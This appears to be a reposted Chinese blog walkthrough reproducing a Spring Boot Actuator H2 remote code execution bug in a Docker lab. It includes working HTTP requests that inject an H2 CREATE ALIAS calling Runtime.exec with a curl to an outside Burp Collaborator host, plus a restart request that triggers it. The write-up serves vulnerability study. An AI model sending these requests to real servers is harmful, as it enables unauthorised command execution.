转载

Spring Boot Actuator H2 RCE复现

0x00 前言

Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,本文复现一种通过H2数据库实现RCE的方法。

0x01 环境搭建

(1) 克隆github上的项目

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

Spring Boot Actuator H2 RCE复现

(2) 使用docker启动环境

先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令

docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

Spring Boot Actuator H2 RCE复现

(3) 访问: http://192.168.222.143:8080/actuator

Spring Boot Actuator H2 RCE复现

0x02 漏洞复现

(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值

POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}

(2)查看/actuator/env

Spring Boot Actuator H2 RCE复现

(3)向端点 /actuator/restart 发送POST请求,重启应用

POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}

(4) 查看dnslog可以看到成功执行命令收到请求

Spring Boot Actuator H2 RCE复现

原文  http://www.cnblogs.com/cwkiller/p/12829974.html
正文到此结束
Loading...